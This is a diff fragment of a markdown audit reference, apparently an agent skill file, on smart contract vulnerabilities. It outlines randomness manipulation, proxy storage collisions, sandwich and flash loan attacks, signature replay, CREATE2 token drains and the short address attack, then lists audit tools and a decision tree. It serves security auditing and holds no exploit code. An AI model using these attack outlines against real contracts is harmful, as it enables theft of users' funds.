123
+ | Default visibility (pre-0.6.0) | Functions default to `public` |
124
+ | Missing zero-address checks | Ownership transferred to `address(0)` |
125
+
126
+ ---
127
+
128
+ ## 4. RANDOMNESS MANIPULATION
129
+
130
+ On-chain randomness sources are predictable to miners/validators:
131
+
132
+ | Source | Predictability |
133
+ |---|---|
134
+ | `block.timestamp` | Miner has ~15s window to manipulate |
135
+ | `blockhash(block.number - 1)` | Known to all at execution time |
136
+ | `blockhash(block.number)` | Always returns 0 (current block hash unknown) |
137
+ | `block.difficulty` / `block.prevrandao` | Post-merge: known beacon chain value |
138
+
139
+ **Commit-reveal bypass**: If reveal phase doesn't enforce timeout or bond, attacker can choose not to reveal unfavorable outcomes (selective abort attack).
140
+
141
+ ---
142
+
143
+ ## 5. DELEGATECALL VULNERABILITIES
144
+
145
+ `delegatecall` executes callee's code in caller's storage context. Storage slot layout must match exactly.
146
+
147
+ ### Storage Layout Collision
148
+
149
+ ```
150
+ Proxy (storage): Implementation (code):
151
+ slot 0: owner slot 0: someVariable
152
+ slot 1: implementation slot 1: anotherVariable
153
+ ```
154
+
155
+ Implementation writes to `someVariable` (slot 0) → overwrites proxy's `owner`. Attacker calls implementation function that writes slot 0 → becomes proxy owner.
156
+
157
+ ### Function Selector Collision
158
+
159
+ 4-byte function selectors can collide. If proxy's `admin()` selector collides with implementation's `transfer()`, calling `admin()` on the proxy executes `transfer()` logic.
160
+
161
+ Tool: `cast selectors <bytecode>` (Foundry) to enumerate selectors.
162
+
163
+ ---
164
+
165
+ ## 6. FRONT-RUNNING / MEV
166
+
167
+ ### Transaction Ordering Manipulation
168
+
169
+ ```
170
+ Victim submits DEX swap tx (visible in mempool)
171
+ ├── Front-runner: buy token before victim (raise price)
172
+ ├── Victim tx executes at worse price
173
+ └── Back-runner: sell token after victim (profit from spread)
174
+ = Sandwich attack
175
+ ```
176
+
177
+ ### Protection Patterns
178
+
179
+ | Defense | Mechanism |
180
+ |---|---|
181
+ | Commit-reveal | Hide transaction intent until reveal |
182
+ | Flashbots / private mempool | Submit tx directly to block builder |
183
+ | Slippage protection | Set `minAmountOut` to limit MEV extraction |
184
+ | Time-lock | Delay execution to reduce predictability |
185
+
186
+ ---
187
+
188
+ ## 7. SIGNATURE REPLAY
189
+
190
+ ### Missing Nonce
191
+
192
+ Reuse a valid signature to repeat the action (e.g., transfer) multiple times.
193
+
194
+ ### Cross-Chain Replay
195
+
196
+ Same contract deployed on multiple chains with same address → signature valid on all chains. Must include `block.chainid` in signed message.
197
+
198
+ ### EIP-712 Implementation Errors
199
+
200
+ | Error | Consequence |
201
+ |---|---|
202
+ | Missing `DOMAIN_SEPARATOR` with chainId | Cross-chain replay |
203
+ | Domain separator cached at deploy | Breaks after hard fork changing chainId |
204
+ | Missing nonce in struct hash | Signature replay |
205
+ | `ecrecover` returns `address(0)` on invalid sig | Passes `== address(0)` owner check |
206
+
207
+ ---
208
+
209
+ ## 8. SELF-DESTRUCT & FORCE-SEND ETH
210
+
211
+ `selfdestruct(recipient)` force-sends all contract ETH to recipient — bypasses `receive()` and `fallback()`, cannot be rejected.
212
+
213
+ Breaks contracts that rely on `address(this).balance` for logic (e.g., `require(balance == expected)`).
214
+
215
+ Post-EIP-6780 (Dencun): `selfdestruct` only sends ETH; code/storage deletion only if called in same tx as creation.
216
+
217
+ ---
218
+
219
+ ## 9. CREATE2 & DETERMINISTIC ADDRESS EXPLOITATION
220
+
221
+ `CREATE2` address = `keccak256(0xff ++ deployer ++ salt ++ keccak256(initCode))`.
222
+
223
+ | Attack | Method |
224
+ |---|---|
225
+ | Pre-fund exploitation | Predict address → send tokens/ETH before deployment → `selfdestruct` → redeploy different code at same address |
226
+ | Pre-approve exploitation | Predicted address gets token approvals → deploy malicious contract → drain approved tokens |
227
+ | Metamorphic contracts | `CREATE2` → `selfdestruct` → `CREATE2` with same salt but different `initCode` (pre-EIP-6780) |
228
+
229
+ ---
230
+
231
+ ## 10. FLASH LOAN ATTACK PATTERNS
232
+
233
+ ```
234
+ Single transaction:
235
+ ├── Borrow large amount (no collateral)
236
+ ├── Manipulate state (price oracle, governance, etc.)
237
+ ├── Extract profit from manipulated state
238
+ ├── Repay loan + fee
239
+ └── Keep profit
240
+ ```
241
+
242
+ Key: entire sequence must succeed atomically or the whole tx reverts.
243
+
244
+ ---
245
+
246
+ ## 11. SHORT ADDRESS ATTACK
247
+
248
+ EVM pads missing bytes in ABI-encoded calldata with zeros. If `transfer(address, uint256)` is called with a 19-byte address, the uint256 amount shifts left by 8 bits → multiplied by 256.
249
+
250
+ Mitigation: validate calldata length; modern Solidity compilers add checks.
251
+
252
+ ---
253
+
254
+ ## 12. TOOLS
255
+
256
+ | Tool | Purpose | Usage |
257
+ |---|---|---|
258
+ | Slither | Static analysis, vulnerability detection | `slither .` in project root |
259
+ | Mythril | Symbolic execution, path exploration | `myth analyze contract.sol` |
260
+ | Echidna | Property-based fuzzing | Define invariants, fuzz for violations |
261
+ | Foundry (Forge) | Test framework, fuzzing, gas analysis | `forge test --fuzz-runs 10000` |
262
+ | Hardhat | Development, testing, deployment | `npx hardhat test` |
263
+ | Certora | Formal verification | Write specs, prove/disprove properties |
264
+ | 4naly3er | Automated gas optimization + vuln report | CI integration |
265
+
266
+ ---
267
+
268
+ ## 13. DECISION TREE
269
+
270
+ ```
271
+ Auditing a smart contract?
272
+ ├── Is it a proxy pattern?
273
+ │ ├── Yes → Check storage layout collision (Section 5)
274
+ │ │ ├── Compare slot assignments between proxy and implementation
275
+ │ │ ├── Check for function selector collision
276
+ │ │ └── Verify initializer cannot be called twice
277
+ │ └── No → Continue
278
+ ├── Does it make external calls?
279
+ │ ├── Yes → Check reentrancy (Section 1)
280
+ │ │ ├── State updated before call? → CEI pattern OK
281
+ │ │ ├── ReentrancyGuard present? → Check all entry points
282
+ │ │ ├── Cross-function state sharing? → Cross-function reentrancy risk
283
+ │ │ └── View functions read during callback? → Read-only reentrancy
284
+ │ └── No → Continue
285
+ ├── Does it handle tokens/ETH?
286
+ │ ├── Yes → Check integer overflow (Section 2)
287
+ │ │ ├── Solidity < 0.8? → All arithmetic suspect
288
+ │ │ ├── unchecked{} blocks? → Verify no user-influenced values
289
+ │ │ └── Casting between uint sizes? → Truncation risk
290
+ │ └── Also check self-destruct force-send (Section 8)
291
+ ├── Does it use signatures?
292
+ │ ├── Yes → Check replay (Section 7)
293
+ │ │ ├── Nonce included? → Verify incremented
294
+ │ │ ├── ChainId included? → Cross-chain safe
295
+ │ │ └── ecrecover result checked for address(0)? → OK
296
+ │ └── No → Continue
297
+ ├── Does it use on-chain randomness?
298
+ │ ├── Yes → Predictable (Section 4)
299
+ │ │ └── Recommend Chainlink VRF or commit-reveal with bond
300
+ │ └── No → Continue
301
+ ├── Does it interact with DeFi protocols?
302
+ │ ├── Yes → Load [defi-attack-patterns](../defi-attack-patterns/SKILL.md)
303
+ │ │ ├── Flash loan vectors
304
+ │ │ ├── Oracle manipulation
305
+ │ │ └── MEV exposure
306
+ │ └── No → Continue
307
+ ├── Does it use CREATE2?
308
+ │ ├── Yes → Check deterministic address exploitation (Section 9)
309
+ │ └── No → Continue
310
+ └── Run automated tools (Section 12)
311
+ ├── Slither for static analysis
312
+ ├── Mythril for symbolic execution
313
+ └── Echidna for fuzzing invariants
314
+ ```